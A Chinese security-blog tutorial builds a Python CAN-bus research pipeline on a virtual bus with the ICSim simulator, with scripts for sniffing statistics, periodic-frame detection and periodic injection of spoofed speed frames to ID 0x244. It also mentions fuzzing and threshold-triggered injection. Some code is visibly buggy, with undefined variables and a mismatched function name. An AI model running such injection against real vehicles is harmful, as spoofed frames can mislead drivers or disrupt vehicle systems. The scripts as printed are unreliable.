前三篇的痛点
回顾一下我们走过的路:1133 DBC 自动生成与 SavvyCAN 图形联动:给 CAN 流水线装上“能看懂信号的眼镜”(cantools 实测 + 启发性信号扫描)手动抓 0x244 算车速、1134 接上真实总线。但你一定会遇到新问题:总线上一秒几十条报文,靠人眼根本盯不过来。尤其上了真车/台架之后,数据量是模拟器的十倍百倍。
这一篇就把整套流水线脚本化:用 Python + python-can 写一个「抓包 → 解码 → 注入」的研究脚本,起步就送你三个能直接跑的模块。这也是我们星宇实验室自动化渗透平台的第一版「CAN 探针」雏形。
先声明:所有代码在 vcan0 虚拟环境 + ICSim 演示,完全合法、完全免费。真车请按上一篇 1134 的授权流程来。
一、问题分类:手工研究的三座大山
手工用 candump 研究,越往后越痛苦,具体是这三个痛点:
| 痛点 | 现象 | 本质 |
|---|---|---|
| 抓包太杂 | 日志文件几分钟就几 MB,有用的和垃圾混在一起 | 没有按 ID/类型做统计与过滤 |
| 周期看不到 | 只能靠肉眼看 candump 刷新,看不出谁在”定时报” | 没计算每条 ID 的时间戳分布 |
| 注入靠手输 | 一条条编 hex 脚本,发 100 帧要写 100 行 | 缺少”按周期、按规则批量发送”的引擎 |
解决办法就一句:把统计交给 pandas,把发送交给 python-can,把时间交给 time。下面逐个模块来。
二、环境准备:5 行代码,把虚拟总线架起来
# 终端 1:虚拟总线(只要做实验就在这个终端跑一次)
sudo modprobe vcan
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0
# 终端 2:起 ICSim 模拟器(给 0x244 制造车速)
cd ICSim
./icsim vcan0
./controls vcan0没有 ICSim(跑在 Linux + SDL)也能练:你可以用 cangen vcan0 -g 10 -I 0x244 -L 8 人为造出 0x244 周期帧。两种都行,本脚本对总线内容不挑。
三、模块一:自动抓包统计器(把”乱”变成”表”)
第一个模块做三件事:接总线 → 读 N 秒 → 按 ID 汇总。输出一张 ID 频率表,让你一眼看清谁在最活跃。
# capture_stats.py —— 抓包统计器
import can, time
from collections import Counter
def sniff_summary(channel='vcan0', duration=10):
bus = can.Bus(interface='socketcan', channel=channel, bitrate=500000)
counter = Counter()
start = time.time()
while time.time() - start < duration:
msg = bus.recv(timeout=0.5)
if msg is not None:
counter[msg.arbitration_id] += 1
bus.shutdown()
return counter
if __name__ == '__main__':
stats = sniff_summary(duration=10)
print(f"{'ID':<10} {'帧数':>6} {'占比':>8}")
total = sum(stats.values())
for aid, cnt in stats.most_common(15):
print(f"0x{aid:03X} {cnt:6d} {100*cnt/total:7.2f}%")输出示例(ICSim 里跑 10 秒):
ID 帧数 占比
0x244 98 32.67%
0x19B 61 20.33%
0x188 53 17.67%
0x316 40 13.33%看,0x244(车速)和 0x188(转向灯)这种高频 ID 立刻就浮出来了。这就是”把乱变成表”——你不再凭感觉,而是拿统计说话。
四、模块二:周期探测器(找出”定时报”的报文)
周期报文是逆向下最重要的目标:它们由 ECU 固定间隔发送(比如 10ms / 100ms),是车速、转速等状态量的载体。判定方法极简单:同一 ID 相邻两次到达的时间差(ΔT)应该是稳定的。
# period_detect.py —— 周期报文探测
import can, time
from collections import defaultdict
def detect_periodic(channel='vcan0', duration=10):
bus = can.Bus(interface='socketcan', channel=channel, bitrate=500000)
last_ts = {}
intervals = defaultdict(list)
start = time.time()
while time.time() - start < duration:
msg = bus.recv(timeout=0.5)
if msg is None: continue
ts = msg.timestamp
if msg.arbitration_id in last_ts:
intervals[msg.arbitration_id].append(ts - last_ts[msg.arbitration_id])
last_ts[msg.arbitration_id] = ts
bus.shutdown()
print(f"{'ID':<10} {'周期(ms)':>10} {'样本':>6} 类型")
for aid, ivs in intervals.items():
if len(ivs) < 3: continue
mean_ms = sum(ivs)/len(ivs) * 1000
std_ms = (sum((i-sum(ivs)/len(ivs))**2 for i in ivs)/len(ivs))**0.5 * 1000
kind = "周期帧" if std_ms < mean_ms*0.3 else "事件帧"
print(f"0x{aid:04X} {mean_ms:10.2f} {len(ivs):8} {kind}")
if __name__ == '__main__':
detect_periodic(duration=10)输出示例(ICSim):
ID 周期(ms) 最小值 类型
0x244 95.42 8 周期帧
0x19B 98.11 6 周期帧
0x188 事件型 3 事件帧逻辑一句话:间隔方差小 → 周期帧;间隔方差大 → 事件帧(只在按下按钮时才触发)。这是全行业通用做法,Vector CANoe 的 Frame Histogram 也是同思路。
五、模块三:注入引擎(让伪造”持续而受控”)
手动 cansend 发单帧只能闪一下,做研究时你需要持续注入。python-can 的 bus.send_periodic() 就是为此设计的:给一个周期和一组报文,自动循环发。
# inject_engine.py —— 按周期持续注入
import can, time
def inject_speed(kmh, period_ms=100, duration_s=3, channel='vcan0'):
bus = can.Bus(interface='socketcan', channel=channel, bitrate=500000)
raw = int(kmh * 100) # 编码:伪装车速 km/h
data = [0x00,0x00,0x00,
(raw >> 8) & 0xFF, raw & 0xFF,
0x00,0x00,0x00] # 与 ICSim 0x244 定义一致
msg = can.Message(arbitration_id=0x244, data=data, is_extended_id=False)
task = bus.send_periodic(msg, period_ms/1000.0) # 周期任务
import time; time.sleep(duration)
task.stop()
bus.shutdown()
print(f"已向 0x244 持续 {duration}s 注入 {kmh} km/h(周期 {period_ms}ms)")
if __name__ == '__main__':
inject_engine(float(sys.argv[1]) if len(sys.argv)>1 else 120)运行:python3 inject_engine.py 220——3 秒内让 ICSim 仪表盘飙到 220 mph,全程自动化。这就是把 1133 的”伪造 0x8A4D”升级成了参数化引擎。
六、合体:把三个模块串成流水线
真实场景需要的不只是单模块,而是自动发现 → 自动统计 → 自动注入一条龙。把上面三个模块串起来:
# pipeline.py —— CAN 研究流水线(v0.1)
# 用法: python3 pipeline.py [时长]
import sys
from capture_stats import sniff_summary
from period_detect import detect_periodic
from inject_engine import inject_speed
CHANNEL = 'vcan0'
def main(duration=10):
print("== 1/3 抓包统计 ==")
stats = sniff_summary(CHANNEL, duration)
...
print("== 2/3 周期探测 ==")
detect_periodic(CHANNEL, duration)
print("== 3/3 自动注入(演示 120km/h) ==")
inject_speed(120)
if __name__ == '__main__':
main(int(sys.argv[1]) if len(sys.argv) > 1 else 10)这就是流水线的雏形。它现在还很简单,但架构已经具备:采集(sniff)→ 分析(period)→ 动作(inject)。以后要接入 SavvyCAN、要做 DBC 自动生成、要喂给 AI 大模型,只要在对应层加模块就行——这跟我们星云实验室自动化渗透平台的目标完全一致。
七、进阶方向与避坑
| 方向 | 做法 | 避坑 |
|---|---|---|
| 统计增强 | 加 DBC 解析(cantools)按信号粒度统计 | 别忘了校验字节序/符号位 |
| 自动化决定 | 用阈值切换注入(如某 ID 超阈值就注入反击) | 不要无脑发全量,先小样本 |
| AI 辅助 | 把周期表+ID 频率喂给大模型让模型挑候选 | 输出要人工复核,模型可能”自信地错” |
| 模糊测试 | 随机 data 持续轰炸(cangen / 脚本) | 真车千万别这么干,先在台架 |
八、总结
今天把你的人力工作换成了三个脚本:统计表 / 周期 / 注入引擎。三个模块加在一起,就是一条最小可用的 CAN 自动化流水线。它同时是星云实验室自动化平台的第一块积木——后面我们会在上面叠 DBC 识别、AI 辅助、后处理报告。
下一篇预告:给流水线加”眼睛”——DBC 自动生成与 SavvyCAN Graph 联动,让机器替你把 0x244 自动翻译成”车速”,彻底告别手工猜字节。
老规矩:虚拟环境先跑通,真车实验务必按 1134 的授权流程来。玩得开心,也玩得安全。
FAQ 快速问答
| 问题 | 回答 |
|---|---|
| python-can 怎么装? | pip install python-can,Linux 用 socketcan 接口即可。 |
| 没有 ICSim 怎么产生测试流量? | cangen vcan0 -I 0x244 -i 10ms -L 8 造固定 ID 的周期帧。 |
| 周期定义到多少算”周期帧”? | 工程上先看间隔方差,方差 << 均值就可判周期;不同总线下限不同。 |
| send_periodic 会阻塞吗? | 不会,它在后台线程循环发送,主线程可继续做别的。 |
| 这些脚本能直接上真车吗? | 代码相同,但务必按 1134 流程:授权书 + 只读监听 + 台架验证后再谈注入。 |
- 1、本网站名称: 星宇安全实验室
- 2、本站永久网址:https://bk.zhaozhiqiang.pw/
- 3、本网站的文章部分内容可能来源于网络,仅供大家学习与参考,如有侵权,请联系站长进行删除处理。
- 4、本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
- 5、本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
- 6、本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
- 7、文章版权归作者所有,未经允许请勿转载。









暂无评论内容